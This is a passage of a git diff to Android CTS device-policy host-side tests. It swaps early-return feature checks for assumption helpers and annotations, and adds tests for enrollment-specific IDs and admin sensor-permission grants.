         }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
@@ -1764,14 +1541,16 @@
             new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_MINIMUM_SYMBOLS_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setInt(19)
-                    .build());
+                    .build(),
+                new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE)
+                        .setAdminPackageName(DEVICE_ADMIN_PKG)
+                        .setInt(0x50000)
+                        .setBoolean(false)
+                        .build());
     }
 
     @Test
     public void testLockNowLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testLockNowLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.LOCK_NOW_VALUE)
@@ -1782,9 +1561,6 @@
 
     @Test
     public void testSetKeyguardDisabledFeaturesLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetKeyguardDisabledFeaturesLogged");
@@ -1812,9 +1588,6 @@
 
     @Test
     public void testSetKeyguardDisabledSecureCameraLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetKeyguardDisabledSecureCameraLogged");
@@ -1827,18 +1600,12 @@
 
     @Test
     public void testSetKeyguardDisabledFeatures() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestMethod(".KeyguardDisabledFeaturesTest",
                 "testSetKeyguardDisabledFeatures");
     }
 
     @Test
     public void testSetUserRestrictionLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetUserRestrictionLogged");
@@ -1871,9 +1638,6 @@
 
     @Test
     public void testSetSecureSettingLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetSecureSettingLogged");
@@ -1898,9 +1662,6 @@
 
     @Test
     public void testSetPermissionPolicyLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
                     ".DevicePolicyLoggingTest", "testSetPermissionPolicyLogged");
@@ -1923,9 +1684,6 @@
 
     @Test
     public void testSetPermissionGrantStateLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         installAppPermissionAppAsUser();
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(
@@ -1952,9 +1710,6 @@
 
     @Test
     public void testSetAutoTimeRequired() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetAutoTimeRequired");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_REQUIRED_VALUE)
@@ -1969,9 +1724,6 @@
 
     @Test
     public void testSetAutoTimeEnabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetAutoTimeEnabled");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_VALUE)
@@ -1986,9 +1738,6 @@
 
     @Test
     public void testSetAutoTimeZoneEnabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
                     executeDeviceTestMethod(".TimeManagementTest", "testSetAutoTimeZoneEnabled");
                 }, new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_ZONE_VALUE)
@@ -2003,9 +1752,6 @@
 
     @Test
     public void testEnableSystemAppLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         final List<String> enabledSystemPackageNames = getEnabledSystemPackageNames();
         // We enable an enabled package to not worry about restoring the state.
         final String systemPackageToEnable = enabledSystemPackageNames.get(0);
@@ -2023,9 +1769,6 @@
 
     @Test
     public void testEnableSystemAppWithIntentLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         final String systemPackageToEnable = getLaunchableSystemPackage();
         if (systemPackageToEnable == null) {
             return;
@@ -2044,9 +1787,6 @@
 
     @Test
     public void testSetUninstallBlockedLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         installAppAsUser(PERMISSIONS_APP_APK, mUserId);
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest",
@@ -2060,10 +1800,6 @@
 
     @Test
     public void testIsDeviceOrganizationOwnedWithManagedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         executeDeviceTestMethod(".DeviceOwnershipTest",
                 "testCallingIsOrganizationOwnedWithManagedProfileExpectingFalse");
     }
@@ -2071,9 +1807,6 @@
     @LockSettingsTest
     @Test
     public void testSecondaryLockscreen() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceTestClass(".SecondaryLockscreenTest");
     }
 
@@ -2099,6 +1832,41 @@
                 .collect(Collectors.toList());
     }
 
+    @Test
+    public void testEnrollmentSpecificIdCorrectCalculation() throws Exception {
+
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+                "testCorrectCalculationOfEsid", mUserId);
+    }
+
+    @Test
+    public void testEnrollmentSpecificIdCorrectCalculationLogged() throws Exception {
+        boolean isManagedProfile = (mPrimaryUserId != mUserId);
+
+        assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".EnrollmentSpecificIdTest",
+                    "testCorrectCalculationOfEsid");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_ID_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(isManagedProfile)
+                .build());
+    }
+
+    @Test
+    public void testEnrollmentSpecificIdEmptyAndMultipleSet() throws DeviceNotAvailableException {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+                "testThrowsForEmptyOrganizationId", mUserId);
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+                "testThrowsWhenTryingToReSetOrganizationId", mUserId);
+    }
+
+    @Test
+    public void testAdminControlOverSensorPermissionGrantsDefault() throws Exception {
+        // By default, admin should not be able to grant sensors-related permissions.
+        executeDeviceTestMethod(".SensorPermissionGrantTest",
+                "testAdminCannotGrantSensorsPermission");
+    }
+
     /**
      * Executes a test class on device. Prior to running, turn off background data usage
      * restrictions, and restore the original restrictions after the test.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
index 7a43fb3..4422d6b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
@@ -16,8 +16,6 @@
 
 package com.android.cts.devicepolicy;
 
-import android.platform.test.annotations.FlakyTest;
-
 import org.junit.Test;
 
 /**
@@ -40,42 +38,33 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-            getDevice().uninstallPackage(TEST_APP_PKG);
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+        getDevice().uninstallPackage(TEST_APP_PKG);
 
-            // Clear device lock in case test fails (testUnlockFbe in particular)
-            getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
-            // Press the HOME key to close any alart dialog that may be shown.
-            getDevice().executeShellCommand("input keyevent 3");
-        }
+        // Clear device lock in case test fails (testUnlockFbe in particular)
+        getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
+        // Press the HOME key to close any alart dialog that may be shown.
+        getDevice().executeShellCommand("input keyevent 3");
+
         super.tearDown();
     }
 
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
-        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStateAppPreMDeviceAdminPreQ");
+        executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp_preQDeviceAdmin");
     }
 
     @Test
     public void testPasswordRequirementsApi() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         executeDeviceTestMethod(".PasswordRequirementsTest",
                 "testPasswordConstraintsDoesntThrowAndPreservesValuesPreR");
     }
 
     @Test
     public void testResetPasswordDeprecated() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         executeDeviceTestMethod(".ResetPasswordTest", "testResetPasswordDeprecated");
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java
new file mode 100644
index 0000000..7cbda79
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+/**
+ * Set of tests for use cases that apply to profile and device owner with DPC
+ * targeting API level 25.
+ */
+public abstract class DeviceAndProfileOwnerTestApi30 extends BaseDevicePolicyTest {
+
+    protected static final String DEVICE_ADMIN_PKG = "com.android.cts.deviceandprofileowner";
+    protected static final String DEVICE_ADMIN_APK = "CtsDeviceAndProfileOwnerApp30.apk";
+
+    protected static final String ADMIN_RECEIVER_TEST_CLASS =
+            ".BaseDeviceAdminTest$BasicAdminReceiver";
+
+    protected int mUserId;
+
+    @Override
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+
+        // Clear device lock in case test fails (testUnlockFbe in particular)
+        getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
+        // Press the HOME key to close any alart dialog that may be shown.
+        getDevice().executeShellCommand("input keyevent 3");
+
+        super.tearDown();
+    }
+
+    protected void executeDeviceTestClass(String className) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
+    }
+
+    protected void executeDeviceTestMethod(String className, String testName) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
index d54dea3..57cb09a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
@@ -16,12 +16,11 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertThat;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -29,6 +28,7 @@
 import android.platform.test.annotations.LargeTest;
 import android.stats.devicepolicy.EventId;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper.Builder;
 
@@ -44,6 +44,8 @@
  * As combining a profile owner with a device owner is not supported, this class contains
  * negative test cases to ensure this combination cannot be set up.
  */
+// We need managed user to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class DeviceOwnerPlusProfileOwnerTest extends BaseDevicePolicyTest {
     private static final String BIND_DEVICE_ADMIN_SERVICE_GOOD_SETUP_TEST =
             "com.android.cts.comp.BindDeviceAdminServiceGoodSetupTest";
@@ -78,29 +80,23 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        // We need managed user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
-        if (mHasFeature) {
-            // Set device owner.
-            installAppAsUser(COMP_DPC_APK, mPrimaryUserId);
-            if (!setDeviceOwner(COMP_DPC_ADMIN, mPrimaryUserId, /*expectFailure*/ false)) {
-                removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId);
-                fail("Failed to set device owner");
-            }
-            runDeviceTestsAsUser(
-                    COMP_DPC_PKG,
-                    MANAGEMENT_TEST,
-                    "testIsDeviceOwner",
-                    mPrimaryUserId);
+
+        // Set device owner.
+        installAppAsUser(COMP_DPC_APK, mPrimaryUserId);
+        if (!setDeviceOwner(COMP_DPC_ADMIN, mPrimaryUserId, /*expectFailure*/ false)) {
+            removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId);
+            fail("Failed to set device owner");
         }
+        runDeviceTestsAsUser(
+                COMP_DPC_PKG,
+                MANAGEMENT_TEST,
+                "testIsDeviceOwner",
+                mPrimaryUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove device owner.",
-                    removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId));
-        }
+        assertTrue("Failed to remove device owner.", removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId));
 
         super.tearDown();
     }
@@ -111,10 +107,6 @@
     @LargeTest
     @Test
     public void testCannotAddManagedProfileWithDeviceOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         assertCannotCreateManagedProfile(mPrimaryUserId);
     }
 
@@ -129,9 +121,6 @@
     @Ignore
     public void testCannotAddManagedProfileViaManagedProvisioning()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         int profileUserId = provisionCorpOwnedManagedProfile();
         assertFalse(profileUserId >= 0);
     }
@@ -142,10 +131,6 @@
      */
     @Test
     public void testProvisioningNotAllowedWithDeviceOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         assertProvisionManagedProfileNotAllowed(COMP_DPC_PKG);
     }
 
@@ -156,9 +141,8 @@
     @FlakyTest
     @Test
     public void testBindDeviceAdminServiceAsUser_secondaryUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         int secondaryUserId = setupManagedSecondaryUser();
 
         installAppAsUser(COMP_DPC_APK2, mPrimaryUserId);
@@ -175,9 +159,8 @@
     @FlakyTest(bugId = 141161038)
     @Test
     public void testCannotRemoveUserIfRestrictionSet() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         int secondaryUserId = setupManagedSecondaryUser();
         addDisallowRemoveUserRestriction();
         assertFalse(getDevice().removeUser(secondaryUserId));
@@ -188,9 +171,6 @@
 
     @Test
     public void testCannotAddProfileIfRestrictionSet() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // by default, disallow add managed profile users restriction is set.
         assertCannotCreateManagedProfile(mPrimaryUserId);
     }
@@ -204,9 +184,8 @@
 
     @Test
     public void testWipeData_secondaryUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         int secondaryUserId = setupManagedSecondaryUser();
         addDisallowRemoveUserRestriction();
         // The PO of the managed user should be allowed to delete it, even though the disallow
@@ -217,9 +196,8 @@
 
     @Test
     public void testWipeData_secondaryUserLogged() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1) || !isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         int secondaryUserId = setupManagedSecondaryUser();
         addDisallowRemoveUserRestriction();
         assertMetricsLogged(getDevice(), () -> {
@@ -230,13 +208,8 @@
 
     @Test
     public void testNetworkAndSecurityLoggingAvailableIfAffiliated() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(2);
 
-        if (!canCreateAdditionalUsers(2)) {
-            return;
-        }
         // If secondary users are allowed, create an affiliated one, to check that this still
         // works if having both an affiliated user and an affiliated managed profile.
         final int secondaryUserId = setupManagedSecondaryUser();
@@ -280,13 +253,7 @@
     @FlakyTest
     @Test
     public void testRequestBugreportAvailableIfAffiliated() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        if (!canCreateAdditionalUsers(2)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(2);
 
         final int secondaryUserId = setupManagedSecondaryUser();
 
@@ -409,7 +376,7 @@
 
     /** Returns the user id of the newly created secondary user */
     private int setupManagedSecondaryUser() throws Exception {
-        assertTrue(canCreateAdditionalUsers(1));
+        assertTrue("Cannot create 1 additional user", canCreateAdditionalUsers(1));
 
         runDeviceTestsAsUser(
                 COMP_DPC_PKG,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 7879553..424d9cf 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -16,8 +16,8 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -30,17 +30,15 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.util.LocationModeSetter;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.TemporaryIgnoreOnHeadlessSystemUserMode;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.Ignore;
 import org.junit.Test;
 
 import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
 import java.util.Collections;
 import java.util.List;
 import java.util.Map;
@@ -48,18 +46,13 @@
 /**
  * Set of tests for Device Owner use cases.
  */
-public class DeviceOwnerTest extends BaseDevicePolicyTest {
-
-    private static final String DEVICE_OWNER_PKG = "com.android.cts.deviceowner";
-    private static final String DEVICE_OWNER_APK = "CtsDeviceOwnerApp.apk";
+public class DeviceOwnerTest extends BaseDeviceOwnerTest {
 
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
     private static final String MANAGED_PROFILE_ADMIN =
             MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
 
-    private static final String FEATURE_BACKUP = "android.software.backup";
-
     private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
     private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
 
@@ -74,11 +67,6 @@
             "com.android.cts.deviceowner.wificonfigcreator";
     private static final String WIFI_CONFIG_CREATOR_APK = "CtsWifiConfigCreator.apk";
 
-    private static final String ADMIN_RECEIVER_TEST_CLASS =
-            DEVICE_OWNER_PKG + ".BasicAdminReceiver";
-    private static final String DEVICE_OWNER_COMPONENT = DEVICE_OWNER_PKG + "/"
-            + ADMIN_RECEIVER_TEST_CLASS;
-
     private static final String TEST_APP_APK = "CtsEmptyTestApp.apk";
     private static final String TEST_APP_PKG = "android.packageinstaller.emptytestapp.cts";
     private static final String TEST_APP_LOCATION = "/data/local/tmp/cts/packageinstaller/";
@@ -97,9 +85,6 @@
     private static final int TYPE_INSTALL_WINDOWED = 2;
     private static final int TYPE_POSTPONE = 3;
 
-    /** CreateAndManageUser is available and an additional user can be created. */
-    private boolean mHasCreateAndManageUserFeature;
-
     /**
      * Copied from {@link android.app.admin.DevicePolicyManager}
      */
@@ -109,64 +94,26 @@
     private static final String GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED =
             "usb_mass_storage_enabled";
 
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        if (mHasFeature) {
-            installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
-            if (!setDeviceOwner(DEVICE_OWNER_COMPONENT, mPrimaryUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId);
-                getDevice().uninstallPackage(DEVICE_OWNER_PKG);
-                fail("Failed to set device owner");
-            }
-
-            // Enable the notification listener
-            getDevice().executeShellCommand("cmd notification allow_listener com.android.cts.deviceowner/com.android.cts.deviceowner.NotificationListener");
-        }
-        mHasCreateAndManageUserFeature = mHasFeature && canCreateAdditionalUsers(1)
-                && hasDeviceFeature("android.software.managed_users");
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove device owner.",
-                    removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId));
-            getDevice().uninstallPackage(DEVICE_OWNER_PKG);
-            switchUser(USER_SYSTEM);
-            removeTestUsers();
-        }
-
-        super.tearDown();
-    }
-
     @Test
     public void testDeviceOwnerSetup() throws Exception {
         executeDeviceOwnerTest("DeviceOwnerSetupTest");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testProxyStaticProxyTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("proxy.StaticProxyTest");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testProxyPacProxyTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeDeviceOwnerTest("proxy.PacProxyTest");
     }
 
     @Test
     public void testRemoteBugreportWithTwoUsers() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
         final int userId = createUser();
         try {
             executeDeviceTestMethod(".RemoteBugreportTest",
@@ -178,10 +125,9 @@
 
     @FlakyTest(bugId = 137071121)
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testCreateAndManageUser_LowStorage() throws Exception {
-        if (!mHasCreateAndManageUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
         try {
             // Force low storage
@@ -202,9 +148,7 @@
 
     @Test
     public void testCreateAndManageUser_MaxUsers() throws Exception {
-        if (!mHasCreateAndManageUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
         int maxUsers = getDevice().getMaxNumberOfUsersSupported();
         // Primary user is already there, so we can create up to maxUsers -1.
@@ -223,9 +167,7 @@
      */
     @Test
     public void testCreateAndManageUser_GetSecondaryUsers() throws Exception {
-        if (!mHasCreateAndManageUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_GetSecondaryUsers");
@@ -239,9 +181,7 @@
     @FlakyTest(bugId = 131743223)
     @Test
     public void testCreateAndManageUser_SwitchUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_SwitchUser");
@@ -254,9 +194,7 @@
      */
     @Test
     public void testCreateAndManageUser_CannotStopCurrentUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_CannotStopCurrentUser");
@@ -269,9 +207,7 @@
      */
     @Test
     public void testCreateAndManageUser_StartInBackground() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_StartInBackground");
@@ -284,9 +220,7 @@
      */
     @Test
     public void testCreateAndManageUser_StartInBackground_MaxRunningUsers() throws Exception {
-        if (!mHasCreateAndManageUserFeature) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         int maxUsers = getDevice().getMaxNumberOfUsersSupported();
         int maxRunningUsers = getDevice().getMaxNumberOfRunningUsersSupported();
@@ -315,9 +249,7 @@
      */
     @Test
     public void testCreateAndManageUser_StopUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_StopUser");
@@ -331,9 +263,7 @@
      */
     @Test
     public void testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser");
@@ -347,9 +277,7 @@
      */
     @Test
     public void testCreateAndManageUser_LogoutUser() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_LogoutUser");
@@ -363,9 +291,7 @@
      */
     @Test
     public void testCreateAndManageUser_Affiliated() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_Affiliated");
@@ -378,9 +304,7 @@
      */
     @Test
     public void testCreateAndManageUser_Ephemeral() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_Ephemeral");
@@ -401,9 +325,7 @@
      */
     @Test
     public void testCreateAndManageUser_LeaveAllSystemApps() throws Exception {
-        if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanStartNewUser();
 
         executeDeviceTestMethod(".CreateAndManageUserTest",
                 "testCreateAndManageUser_LeaveAllSystemApps");
@@ -411,50 +333,45 @@
 
     @Test
     public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
-        if (mHasCreateAndManageUserFeature) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_SkipSetupWizard");
-       }
+        assumeCanCreateOneManagedUser();
+
+        executeDeviceTestMethod(".CreateAndManageUserTest",
+                "testCreateAndManageUser_SkipSetupWizard");
     }
 
     @Test
     public void testCreateAndManageUser_AddRestrictionSet() throws Exception {
-        if (mHasCreateAndManageUserFeature) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_AddRestrictionSet");
-        }
+        assumeCanCreateOneManagedUser();
+
+        executeDeviceTestMethod(".CreateAndManageUserTest",
+                "testCreateAndManageUser_AddRestrictionSet");
     }
 
     @Test
     public void testCreateAndManageUser_RemoveRestrictionSet() throws Exception {
-        if (mHasCreateAndManageUserFeature) {
-            executeDeviceTestMethod(".CreateAndManageUserTest",
-                    "testCreateAndManageUser_RemoveRestrictionSet");
-        }
+        assumeCanCreateOneManagedUser();
+
+        executeDeviceTestMethod(".CreateAndManageUserTest",
+                "testCreateAndManageUser_RemoveRestrictionSet");
     }
 
     @FlakyTest(bugId = 126955083)
     @Test
     public void testUserAddedOrRemovedBroadcasts() throws Exception {
